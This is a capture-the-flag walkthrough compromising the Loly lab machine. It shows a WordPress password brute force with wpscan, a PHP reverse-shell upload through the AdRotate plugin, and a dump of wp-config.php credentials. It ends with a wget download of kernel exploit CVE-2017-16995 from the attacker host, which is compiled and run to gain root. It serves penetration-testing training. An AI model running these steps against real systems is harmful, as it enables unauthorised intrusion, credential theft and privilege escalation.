Loly

Description ⤵️

💡 Loly ➡️

• Difficulty: Easy
• Tested: VMware Workstation 15.x Pro (This works better with VMware rather than VirtualBox)
• Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).
• Information: Your feedback is appreciated - Email: suncsr.challenges@gmail.com

Port Scan Results ➡️

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/Loly]
└─$ sudo nmap -sC -sV -p- -T4 -oN Nmap_results.txt 192.168.157.121
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-20 15:51 IST
Warning: 192.168.157.121 giving up on port because retransmission cap hit (6).
Nmap scan report for 192.168.157.121
Host is up (0.17s latency).
Not shown: 65488 closed tcp ports (reset), 46 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration ⤵️

Now lets set the /etc/hosts file as loly.lc →

Now with directory or files bruteforcing I got wordpress on this machine →

Now lets look into it →

Now with WPSCAN Tool I got username as Loly and when I bruteforced to find the password then I got this →

wpscan --url http://loly.lc/wordpress/ -U Loly -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt

Username: Loly
Password: fernando

Now lets login →

Now in AdRotate column I have the option to upload the banners so lets try to upload our payload for reverse shell →

I was struggling to upload the php file so I seen the .zip extension so I zipped the shell.php file into shell.zip file and uploaded it then I loaded this URL →

http://loly.lc/wordpress/wp-content/banners/shell.php

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SHELL ➡️

Now lets dig deeper into this local privileged shell →

www-data@ubuntu:~$ cat local.txt
cat local.txt
1202a2f217f0453838ce4169bbd4dd79
www-data@ubuntu:~$

Now lets see the wp-config.php file which contains credentials →

www-data@ubuntu:~/html/wordpress$ cat wp-config	
cat wp-config.php 
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You do not have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'lolyisabeautifulgirl' );     <-- PASSWORD 

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Do not change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );
define( 'DISALLOW_FILE_EDIT', true );
define( 'DISALLOW_FILE_MODS', true );
define('FS_METHOD','direct');
/* That is all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
www-data@ubuntu:~/html/wordpress$

Now lets use that password to try to change the user in this machine →

www-data@ubuntu:~/html/wordpress$ su loly
su loly
Password: lolyisabeautifulgirl

loly@ubuntu:/var/www/html/wordpress$ whoami
whoami
loly
loly@ubuntu:/var/www/html/wordpress$ cd ~
cd ~
loly@ubuntu:~$ id
id
uid=1000(loly) gid=1000(loly) groups=1000(loly),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
loly@ubuntu:~$

Now I tied different methods to get to root but no luck so far so lets try kernel exploitation →

loly@ubuntu:/tmp$ uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
loly@ubuntu:/tmp$

Lets try it out now →

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/Loly]
└─$ searchsploit -m linux/local/45010.c         
  Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/45010
     Path: /usr/share/exploitdb/exploits/linux/local/45010.c
    Codes: CVE-2017-16995
 Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/Downloads/Proving_Ground//Vulnhub-Files/img/Loly/45010.c

Lets transfer it to victim machine through python3 http server and recive it with wget →

loly@ubuntu:/tmp$ wget http://192.168.45.200:8888/45010.c
--2023-06-22 03:51:55--  http://192.168.45.200:8888/45010.c
Connecting to 192.168.45.200:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13176 (13K) [text/x-csrc]
Saving to: ‘45010.c’

45010.c             100%[===================>]  12.87K  --.-KB/s    in 0.002s  

2023-06-22 03:51:56 (5.51 MB/s) - ‘45010.c’ saved [13176/13176]

loly@ubuntu:/tmp$ chmod +x 45010.c

Now lets run this exploit →

loly@ubuntu:/tmp$ chmod +x 45010.c
loly@ubuntu:/tmp$ gcc 45010.c -o root
loly@ubuntu:/tmp$ ./root
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8800768d0d00
[*] Leaking sock struct from ffff88007718c780
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88007ac89540
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff88007ac89540
[*] credentials patched, launching shell...
# /bin/bash -i
root@ubuntu:/tmp# cd ~
root@ubuntu:~#

Now to the /root/ directory →

root@ubuntu:~# cd /root
root@ubuntu:/root# ls -al
total 32
drwx------  3 root root 4096 Jun 22 02:54 .
drwxr-xr-x 22 root root 4096 Dec  7  2020 ..
-rw-------  1 root root    0 Jan 13  2021 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Jan 12  2021 .cache
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   33 Jun 22 02:54 proof.txt
-rw-r--r--  1 root root   32 Dec  7  2020 root.txt
-rw-r--r--  1 root root   75 Aug 20  2020 .selected_editor
root@ubuntu:/root# cat root.txt
Your flag is in another file...
root@ubuntu:/root# cat proof.txt 
8ec102ee173b0d41d6a9beaba221a308
root@ubuntu:/root# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:ba:70:cf brd ff:ff:ff:ff:ff:ff
    inet 192.168.233.121/24 brd 192.168.233.255 scope global ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feba:70cf/64 scope link 
       valid_lft forever preferred_lft forever
root@ubuntu:/root# whoami
root
root@ubuntu:/root# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare),1000(loly)
root@ubuntu:/root#

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If you have any questions or suggestions, please leave a comment below. Thank You !